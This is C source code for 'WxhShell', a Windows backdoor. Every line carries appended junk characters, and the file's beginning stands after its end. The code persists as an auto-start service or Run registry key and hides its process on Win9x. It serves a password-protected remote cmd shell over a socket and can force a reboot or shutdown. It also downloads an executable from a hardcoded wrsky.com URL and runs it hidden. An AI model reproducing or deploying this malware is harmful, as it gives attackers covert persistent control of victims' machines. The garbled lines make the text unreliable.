    if(Boot(SHUTDOWN)) Y=,9M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gn4XVzB`O  
    else { b>]UNf"-  
    closesocket(wsh); r@PVSH/  
    ExitThread(0); ?;A\>sP  
    } GK1P7Qy?V  
    break; =i6k[rg  
    } OS1f}<  
  // 获取shell _-2;!L#/  
  case 's': { j+e s  
    CmdShell(wsh); /T 2 v`Li  
    closesocket(wsh); ExF6y#Y G<  
    ExitThread(0); h@J3+u<  
    break; nELY(z  
  } BU|)lU5)z  
  // 退出 PP]7_h^ 2  
  case 'x': { C3~O6<,Jh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PKd'lo  
    CloseIt(wsh); X{:3UTBR  
    break; ,; Uf>8~  
    }  Hs6Kki1  
  // 离开 A@-U#UvN  
  case 'q': { dj}|EW4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @'y8* _  
    closesocket(wsh); Df$~=A}  
    WSACleanup(); s[VYd:}se  
    exit(1); c4zGQoeH:  
    break; olKM0K  
        } *;Cpz[N  
  } 3J8M0W   
  } /. H(&  
OzR<jCOS  
  // 提示信息 2`A[<S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RL H!f1cta  
} m -0EcA/  
  } #99=wn  
rC_saHo>#R  
  return; wO6>jW 7  
} \7IT[<Se  
ca5;Z@t$S  
// shell模块句柄 `i+2YCk  
int CmdShell(SOCKET sock) )`6OSB  
{ [.6bxK  
STARTUPINFO si; B ]sVlbt  
ZeroMemory(&si,sizeof(si)); cucT |y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PDLps[a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jv6>7@<G  
PROCESS_INFORMATION ProcessInfo; 1=e(g#Ajn\  
char cmdline[]="cmd"; lXEn m-_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;|W:,a{kS  
  return 0; b|iIdDK  
} &VcO,7 A|  
F{_,IQ]U  
// 自身启动模式 0g; o6Fg  
int StartFromService(void) I!Mkss xc  
{ 4N= gl(  
typedef struct &wN}<G e6  
{ D(WV k  
  DWORD ExitStatus; |?hsMN  
  DWORD PebBaseAddress; NiQ Y3Nj  
  DWORD AffinityMask; [ $"  
  DWORD BasePriority; #K iqV6E  
  ULONG UniqueProcessId; K@Xj)  
  ULONG InheritedFromUniqueProcessId; lkC|g%f  
}   PROCESS_BASIC_INFORMATION; |C5{[ z  
8VuLL<\|  
PROCNTQSIP NtQueryInformationProcess; -B(p8YH  
=NSunW!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d(Hqj#`-31  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AYfe_Dj  
s,l*=<  
  HANDLE             hProcess; BuUM~k&SY  
  PROCESS_BASIC_INFORMATION pbi; T0.sL9  
e E(+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0QxBC7` qp  
  if(NULL == hInst ) return 0; &}K%F)S  
if3z Fh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }J2f$l>R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q(4Ny<=,'K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .u`A4;;Gw  
{xOzxLB;  
  if (!NtQueryInformationProcess) return 0; \ Co Z+  
i6y=3k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e@S\7Ks  
  if(!hProcess) return 0; q8,,[R_  
k ~F ,n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e2 g`T{6M  
[xQ.qZ[h&  
  CloseHandle(hProcess); Qstd;qE~  
ln":j?`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @ScC32X  
if(hProcess==NULL) return 0; O1+yOef"k  
3(gOF&Uf9  
HMODULE hMod; ed`7GZB  
char procName[255]; L$@+'Qn@:  
unsigned long cbNeeded; .[s6PzQy  
52^,qP'6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1]vDM&9  
?_ v_*+b_  
  CloseHandle(hProcess); ; 7QG]JX  
rFUd  
if(strstr(procName,"services")) return 1; // 以服务启动 :LC3>x`:  
|34w<0Pc,  
  return 0; // 注册表启动 {xTh!ih2 -  
} wF59g38[z$  
$iA:3DM07  
// 主模块 _1WA:7$C  
int StartWxhshell(LPSTR lpCmdLine) kf#S"[/E  
{ : #so"O  
  SOCKET wsl; NLUO{'uUW  
BOOL val=TRUE; t**d{P+  
  int port=0; m9 ]Ge]  
  struct sockaddr_in door; Rm6i[y&  
oZdY0nh4  
  if(wscfg.ws_autoins) Install(); IGab~`c-[  
DJqJ6z:'  
port=atoi(lpCmdLine); zsR5"Vi=  
=.J cIT'  
if(port<=0) port=wscfg.ws_port; dP>FXgY  
4r86@^c*  
  WSADATA data; _'^_9u G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g_?Q3  
)n[=)"rf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DbtkWq%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Eb CK9  
  door.sin_family = AF_INET; A"R(?rQi=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g1]bI$;  
  door.sin_port = htons(port); P\QbMj1U  
7s;;2<k;_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7) a f  
closesocket(wsl); JxEz1~WK &  
return 1; !DHfw-1K  
} P^U.VXY}  
H^vA}F`  
  if(listen(wsl,2) == INVALID_SOCKET) { 4$U^)\06W  
closesocket(wsl); /;!I.|j  
return 1; Xn>>hzj-x?  
} K$r)^K=s  
  Wxhshell(wsl); .YP&E1lNi  
  WSACleanup(); 73SH[f[g  
{.DY\;Q  
return 0; uc|ej9N  
bqaj~:}@  
} H]f[r~  
]Zc\si3i&  
// 以NT服务方式启动 Lr= ^0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,}9 tJY@ E  
{ 9}tl @  
DWORD   status = 0; 3\C+g{}e  
  DWORD   specificError = 0xfffffff; E}<i?;  
~&+a.@T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eZ0-O /_i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EB6X Yr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7@m+ y  
  serviceStatus.dwWin32ExitCode     = 0; }OTJ{eG  
  serviceStatus.dwServiceSpecificExitCode = 0; nE2?3S>  
  serviceStatus.dwCheckPoint       = 0; BN&}g}N  
  serviceStatus.dwWaitHint       = 0; c6y>]8_  
,dVJAV7v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3-kL0Q["  
  if (hServiceStatusHandle==0) return; 8HHR  
vo2GFo  
status = GetLastError(); @2-;,VL3  
  if (status!=NO_ERROR) 9`? M-U  
{ V'UFc>{o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PtzT><  
    serviceStatus.dwCheckPoint       = 0; F" 4;nU  
    serviceStatus.dwWaitHint       = 0; WT3g31  
    serviceStatus.dwWin32ExitCode     = status; X\i;j!;d  
    serviceStatus.dwServiceSpecificExitCode = specificError; S/RChg_L5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Jk[%_b>_  
    return; b)E<b{'W  
  } FN (O  
-(ST   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #hMkajG  
  serviceStatus.dwCheckPoint       = 0; tF./Jx]_  
  serviceStatus.dwWaitHint       = 0; pF8+< T3y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ELG9ts+5Uj  
} ZPz=\^  
NzeiGj  
// 处理NT服务事件,比如:启动、停止 Y]uVA`%"b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5r~hs6H  
{ v (S h+p  
switch(fdwControl) $H]NC-\+>  
{ aygK$.wos  
case SERVICE_CONTROL_STOP: W"CG&.  
  serviceStatus.dwWin32ExitCode = 0; PAxR?2m{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UIht`[(z  
  serviceStatus.dwCheckPoint   = 0; r6:e 423  
  serviceStatus.dwWaitHint     = 0; Y> ~jho  
  { {Ve`VV5E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ta PqRsvu  
  } vb`aV<MhH  
  return; Q~P|=*  
case SERVICE_CONTROL_PAUSE: GhjqStjS&l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {K?e6-N(z  
  break; 8F's9c,  
case SERVICE_CONTROL_CONTINUE: G-;EB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L .}sN.  
  break; "*(a2k3J  
case SERVICE_CONTROL_INTERROGATE: ^=PY6!iW  
  break; P:3o}CB1I  
}; r}:U'zlC{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -z se+]O`  
} "}H2dn2n  
a0Fq$  
// 标准应用程序主函数 -%{+\x2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9U=6l]Np  
{ =A$d)&  
*19a\m=>oi  
// 获取操作系统版本 q9a6s {,  
OsIsNt=GetOsVer(); ,068IEs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +ef>ek  
nNnfcA&W  
  // 从命令行安装 =En1?3?  
  if(strpbrk(lpCmdLine,"iI")) Install(); _9Rj,  
!T8sWMY  
  // 下载执行文件 1rLxF{,  
if(wscfg.ws_downexe) { #YK3Ogb,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d3#e7rQ8  
  WinExec(wscfg.ws_filenam,SW_HIDE); {SRD\&J[  
} lQm7`+  
8LXK3D}?3  
if(!OsIsNt) { )V*`(dn'zm  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?U1Nm~'UZ  
HideProc(); T1x67 b u  
StartWxhshell(lpCmdLine); NX:\iJD)1U  
} JLjs`oq h  
else }_@p`>|)rB  
  if(StartFromService()) -9o7a_Z  
  // 以服务方式启动 1F3Q^3+  
  StartServiceCtrlDispatcher(DispatchTable); 2k&Voa  
else Pt-O1$C[  
  // 普通方式启动 aYWUwYB$  
  StartWxhshell(lpCmdLine); /~c9'38  
Fzy#!^9Nu  
return 0; 1&9w]\Ae7l  
} wByTNA7  
6VJS l%X  
40dwp*/!  
]k+(0qxG  
=========================================== '- #QK'p  
G-sQL'L[U  
%mzDmrzq  
NGO?K?  
nHp$5|r<  
XJ"xMv  
" %P(2uesd  
Py/~Q-8p  
#include <stdio.h> 8=?U7aw  
#include <string.h> "I{Lcn~!@  
#include <windows.h> ltNY8xrdGN  
#include <winsock2.h> nY\X!K65  
#include <winsvc.h> yF+mJ >kj  
#include <urlmon.h> ZW@cw}  
kV!1k<f  
#pragma comment (lib, "Ws2_32.lib") 0I2?fz)  
#pragma comment (lib, "urlmon.lib") 4p6T0II_$  
M &H,`gm  
#define MAX_USER   100 // 最大客户端连接数 ocp  
#define BUF_SOCK   200 // sock buffer `G:hC5B  
#define KEY_BUFF   255 // 输入 buffer 5D XBTpCVM  
LCq1F(q  
#define REBOOT     0   // 重启 zTi 8y<}  
#define SHUTDOWN   1   // 关机 =5YbK1Q^  
j X*gw6!  
#define DEF_PORT   5000 // 监听端口 :7(d 6gEL  
7| j rk  
#define REG_LEN     16   // 注册表键长度 w"O;: `|n  
#define SVC_LEN     80   // NT服务名长度 6KPjZC<  
TB84}  
// 从dll定义API 4E1j0ARQQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !0):g/2h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dP]Z:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K5??WB63B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Kq+vAp).  
lE8_Q*ev  
// wxhshell配置信息 -_]Ceq/  
struct WSCFG { 7vI ROK~  
  int ws_port;         // 监听端口 QXEZ?gx  
  char ws_passstr[REG_LEN]; // 口令 6wXy;!2  
  int ws_autoins;       // 安装标记, 1=yes 0=no T]b&[?p|a[  
  char ws_regname[REG_LEN]; // 注册表键名 uigzf^6,  
  char ws_svcname[REG_LEN]; // 服务名 #BZ5Mxzj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \{ C ~B;=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q^<;B Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :R$v7{1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'A1y~x#2B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N4{g[[ T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A.r.tf}:  
m2ph8KC  
}; O(_f&a  
fWF!%|L  
// default Wxhshell configuration s!Iinc^p  
struct WSCFG wscfg={DEF_PORT, h///  
    "xuhuanlingzhe", vy>(?[  
    1, h96<9L  
    "Wxhshell", Qkw_9  
    "Wxhshell", _p9 _Pg8  
            "WxhShell Service",   &._Mh  
    "Wrsky Windows CmdShell Service", Zu P3/d  
    "Please Input Your Password: ", 5Z#(C#  
  1, TY` R_  
  "http://www.wrsky.com/wxhshell.exe", ?,[$8V  
  "Wxhshell.exe" g  b[.Ww  
    }; 2(Yt`3Go(  
!MmbwB'  
// 消息定义模块 A-$ C6q   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pF}E`U=Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N~S#( .}[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5p3: 8G7  
char *msg_ws_ext="\n\rExit."; q>6,g>I  
char *msg_ws_end="\n\rQuit."; dKw[#(m5v  
char *msg_ws_boot="\n\rReboot..."; %uo#<Ny/ I  
char *msg_ws_poff="\n\rShutdown..."; c^5fhmlt  
char *msg_ws_down="\n\rSave to "; twaH20  
!!Yf>0u#  
char *msg_ws_err="\n\rErr!"; Q2Uk0:M  
char *msg_ws_ok="\n\rOK!"; <YCR^?hJSi  
i=fhK~Jd  
char ExeFile[MAX_PATH]; wGHVq fm5  
int nUser = 0; ^a!oq~ZSy  
HANDLE handles[MAX_USER]; W4h]4X  
int OsIsNt; sp0_f;bC  
?;w\CS^Qu  
SERVICE_STATUS       serviceStatus; I^D*) z   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f&&Ao  
1WY$Vs  
// 函数声明 VwXR,(  
int Install(void); 'l-VWqR-  
int Uninstall(void); ?4Rq +  
int DownloadFile(char *sURL, SOCKET wsh); LVL#qNIu  
int Boot(int flag); : >$v@d  
void HideProc(void); (?.h<v1}  
int GetOsVer(void); EvA8<o  
int Wxhshell(SOCKET wsl); " ;\EU4R  
void TalkWithClient(void *cs); +hH7|:JQ  
int CmdShell(SOCKET sock); ]a:T]x6'  
int StartFromService(void); A!$sO p  
int StartWxhshell(LPSTR lpCmdLine); j1ap,<\.k  
90wnwz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s;tI?kR>%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DnF|wS  
u=(.}  
// 数据结构和表定义 4%<D\#  
SERVICE_TABLE_ENTRY DispatchTable[] = u}?{1B!  
{ ?b]f$ 2  
{wscfg.ws_svcname, NTServiceMain}, ?9*[\m?-  
{NULL, NULL} V9  EC@)  
}; NpA%7Q~B$,  
i2LN`5k  
// 自我安装 5iGz*_ m  
int Install(void) D{4]c)>  
{ s:tWEgZk?  
  char svExeFile[MAX_PATH]; i}))6   
  HKEY key; _e|-O>#pl  
  strcpy(svExeFile,ExeFile); B5;94YIN  
eYv+tjIF  
// 如果是win9x系统,修改注册表设为自启动 =v{ R(IX%  
if(!OsIsNt) { ksYPF&l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A=*6|1w;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $! g~pV  
  RegCloseKey(key); nyG5sWMpe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q1/mp){  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;Z,l};b  
  RegCloseKey(key); MA7&fNjB  
  return 0; #vPk XcP  
    } grJ(z)c  
  } obgO-d9l  
} Ti#x62X{  
else { m x2Ov u  
7~H$p X  
// 如果是NT以上系统,安装为系统服务 ;$4: &T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QCfR2Nn}  
if (schSCManager!=0) of`WP  
{ hXx:D3h  
  SC_HANDLE schService = CreateService a1v?{vu\E  
  ( g{m~TVm'  
  schSCManager, X(C=O?A  
  wscfg.ws_svcname, \Fu(IuD  
  wscfg.ws_svcdisp, YsRq.9Mr  
  SERVICE_ALL_ACCESS, /T 4GPi\lg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VB4ir\nF  
  SERVICE_AUTO_START, t & 5s.  
  SERVICE_ERROR_NORMAL, h>/L4j*Z  
  svExeFile, N,ZmGzNP)  
  NULL,  b|Eo\l2  
  NULL, 3E8 Gh>J_  
  NULL, GGGz7_s ?  
  NULL, }&EdA;/o_  
  NULL uN$ <7KB"  
  ); qp/nWGj  
  if (schService!=0) P_ b8_ydU  
  { :IozWPs*  
  CloseServiceHandle(schService); (%{!TJgZR  
  CloseServiceHandle(schSCManager); >5Sm.7}R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q1DiEg  
  strcat(svExeFile,wscfg.ws_svcname); IXR%IggJA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jZq CM{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =%;TVJk*a  
  RegCloseKey(key); }y%mG&KSz  
  return 0; XBTjb  
    } _+&/P&  
  } QEY#U|  
  CloseServiceHandle(schSCManager); byIP]7Ld  
} {\ BFWGX  
} t y%Hrw  
7t6TB*H  
return 1; H*&!$s.  
} }wGy#!CSza  
VS5D)5w#  
// 自我卸载 U H6 Jvt  
int Uninstall(void) #| m*k  
{ J vtbGPz  
  HKEY key; wUzMB ]w  
4/&.N]  
if(!OsIsNt) { 3u= >Y^wu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `Fb%vYf  
  RegDeleteValue(key,wscfg.ws_regname); 5>h# hcL  
  RegCloseKey(key); n<>]7-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K- TLzoYA  
  RegDeleteValue(key,wscfg.ws_regname); 3MHByT %  
  RegCloseKey(key); AD"L>7  
  return 0; h{e?Fl  
  } twql)lbx  
} ZV~9{E8  
} d-#yN:}0  
else { &t74T"(d  
q&: t$tSS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AH# Dk5#G  
if (schSCManager!=0) (KphAA8  
{ *Di ;Gf@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B|- W  
  if (schService!=0) 8?t}S2n2  
  { %r:Uff@  
  if(DeleteService(schService)!=0) { }<H0CcG  
  CloseServiceHandle(schService); = /=?l  
  CloseServiceHandle(schSCManager); /6#i$\ j  
  return 0; 2S-z$Bi}]  
  } \Jr7Hy1;  
  CloseServiceHandle(schService); OJ)XJL  
  } Cvtz&dH  
  CloseServiceHandle(schSCManager); iZ2nBi Q  
} R|!4klb  
} X@@7Qk  
(.9H1aO46|  
return 1; jp#/]>(9Z  
} fZ  pUnc  
NMhI0Ix$w  
// 从指定url下载文件 *6]_ 6xO  
int DownloadFile(char *sURL, SOCKET wsh) [vcSt5R=  
{ uSNlI78D  
  HRESULT hr; 4,7W*mr3(  
char seps[]= "/"; `FIS2sl/  
char *token; <f@ A\  
char *file; -K iI&Q  
char myURL[MAX_PATH]; A55F* d  
char myFILE[MAX_PATH]; F3<Ip~K  
lBO x B/`  
strcpy(myURL,sURL); ?xzDz  
  token=strtok(myURL,seps); NE-c[|rq  
  while(token!=NULL) r?=3TAA  
  { nbU?:=P  
    file=token; >2LlBLQ  
  token=strtok(NULL,seps); Trml?zexD  
  } 6i*LP(n  
`5t CmU  
GetCurrentDirectory(MAX_PATH,myFILE); 3aEO9v,n  
strcat(myFILE, "\\"); QZ_8r#2x  
strcat(myFILE, file); Cq<k(TKAX  
  send(wsh,myFILE,strlen(myFILE),0); S(hT3MAW  
send(wsh,"...",3,0); O|0}m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -! :h]  
  if(hr==S_OK) m~vEandm  
return 0; 78FK{Cr  
else Cg%}=  
return 1; w:@W/e*9N  
jg=}l1M"  
} UJrN+RtL  
`:EU~4s\  
// 系统电源模块 IFF3gh42.  
int Boot(int flag) (Z at|R.F  
{ ;%$wA5"2M  
  HANDLE hToken; G'6f6i|<I@  
  TOKEN_PRIVILEGES tkp; ^1z)\p1  
=-n7/  
  if(OsIsNt) { 6g%~~hX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,\0>d}eh !  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F;)qM|7  
    tkp.PrivilegeCount = 1; p(x<h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3Cl&1K #5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 420yaw/":  
if(flag==REBOOT) { L ^{C4}x=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N PE7AdB8  
  return 0; K7]IAV  
} lX%e  
else { >D*%1LH~V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,HfdiGs}j  
  return 0; R ;3!?`  
} 3+ WostOx  
  } !i?aRI/6  
  else { ,L^ag&!4  
if(flag==REBOOT) { &8QkGUbS<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d0N/!;  
  return 0; H4g1@[{|0O  
} 1_G5uHO  
else { %scQP{%aD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SSa0 x9T  
  return 0; jMQ7^(9-  
} #%SF2PB;  
} $O^U"  
6ragRS/'x  
return 1; iGsD!2  
} h v/+  
p$@l,4@{  
// win9x进程隐藏模块 ;&]oV`Ib  
void HideProc(void) z%Ivc*x5  
{ UViWejA/*u  
Ln&CB!u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #F6!x3Z  
  if ( hKernel != NULL ) =fy'w3m  
  { d/xGo[?$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rJ fO/WK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (j884bu  
    FreeLibrary(hKernel); Qe1WT T]:I  
  } s f<NC>-  
Cc!LJ  
return; 3\&I7o3V  
} cg'z:_l  
wTPHc:2  
// 获取操作系统版本 #]FJx  
int GetOsVer(void) OK=ANQjs(  
{ .vhEm6wJUM  
  OSVERSIONINFO winfo; zc%HBZ3p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F`JW&r\  
  GetVersionEx(&winfo); qJT|om L Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -)Y[t Z^*`  
  return 1; Dh B*k<S  
  else H(F9&6}  
  return 0; &=hkB9 ;  
} 7xjihl3  
n% ={!WD  
// 客户端句柄模块 [,|;rt\o>  
int Wxhshell(SOCKET wsl) R)BH:wg"  
{ -{s9PZ3~_  
  SOCKET wsh; XT~]pOE;D  
  struct sockaddr_in client; ~mYCXfoc{  
  DWORD myID; {.D/MdwW;  
f&L8<AS Fo  
  while(nUser<MAX_USER) $BWA= 2$  
{ fd*<m8  
  int nSize=sizeof(client); ;0]s:0WD0P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I vD M2q8f  
  if(wsh==INVALID_SOCKET) return 1; ]ppws3*Pa  
()%;s2>F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u^]Z{K_B  
if(handles[nUser]==0) I=}pT50~9  
  closesocket(wsh); 1\ab3n  
else <+)B8I^  
  nUser++; J#*R]LU|  
  } >J_%'%%f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Gjo&~*;  
SbN.z  
  return 0; [Cf{2WB:7  
} >19j_[n@VC  
V( SRw  
// 关闭 socket gaxxB]8  
void CloseIt(SOCKET wsh) W#lt_2!j  
{ fW8whN  
closesocket(wsh); <-Q0s%mNj,  
nUser--; [gxH,=Pb  
ExitThread(0); N"&qy3F  
} jv'q :uA^  
%E`=c]!  
// 客户端请求句柄 Q"b62+03  
void TalkWithClient(void *cs) |!.VpN&  
{ bx=9XZ9g  
zvHeoM ,  
  SOCKET wsh=(SOCKET)cs; `w/b];e1)  
  char pwd[SVC_LEN]; ]sG^a7Z.X  
  char cmd[KEY_BUFF]; |^$?9Dn9.L  
char chr[1]; j<C p&}X  
int i,j; Sx}61?  
R\,qL-Br  
  while (nUser < MAX_USER) { %6HJM| {H  
k9 NPC"  
if(wscfg.ws_passstr) { g RBbL1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F=r`'\JV[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o1]ZeF  
  //ZeroMemory(pwd,KEY_BUFF); 1OW#_4w/  
      i=0; Q<d|OX  
  while(i<SVC_LEN) { /dq(Z"O_  
b 3i34,  
  // 设置超时 #>\%7b59>  
  fd_set FdRead; T@\%h8@~]  
  struct timeval TimeOut; I18<brZJ  
  FD_ZERO(&FdRead); tA]Y=U+Q  
  FD_SET(wsh,&FdRead); Q2nqA1sRk  
  TimeOut.tv_sec=8; X6k-a;  
  TimeOut.tv_usec=0; 2r>I,TNHl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'NDDj0Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 31=v US  
_&|<(m&."  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %r >Y)@$Vt  
  pwd=chr[0]; Y[Kpd[)[v  
  if(chr[0]==0xd || chr[0]==0xa) { 8$C?j\J|*  
  pwd=0; mv\S1[<T  
  break; 9  7Mi{Zz  
  } 1JWo~E'  
  i++; ^P}c0}^  
    } NG?-dkD  
bbxo!K m"  
  // 如果是非法用户,关闭 socket _1kcz]]F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jRYW3a_7  
} .rs\%M|X  
/w2jlu}yt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2<33BBlWA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {}1KI+s9\  
SWPb=[WEz  
while(1) { VAet!H+]  
yy#4DYht  
  ZeroMemory(cmd,KEY_BUFF); APM!xX=N  
)2mvW1M=7;  
      // 自动支持客户端 telnet标准   -/3D0`R  
  j=0; p~NFiZ,  
  while(j<KEY_BUFF) { S^*ME*DDz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3KN>t)A#  
  cmd[j]=chr[0]; g]Fm%iy  
  if(chr[0]==0xa || chr[0]==0xd) { 8KyF0r?  
  cmd[j]=0; >[a&,gS  
  break; fe$OPl~  
  } Ch,%xs.)G  
  j++; m(eR Wx&pZ  
    } Bl!R bh\  
j=5hW.fI  
  // 下载文件 r"\g6<RP  
  if(strstr(cmd,"http://")) { XVWVY}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UTph(U#  
  if(DownloadFile(cmd,wsh)) Gn} ^BJN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GG$&=.$  
  else V/W{d[86G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ w,hJ `  
  } CWW|?  
  else { ]?A-D,!(  
M&~cU{9c  
    switch(cmd[0]) { !(>yB;u  
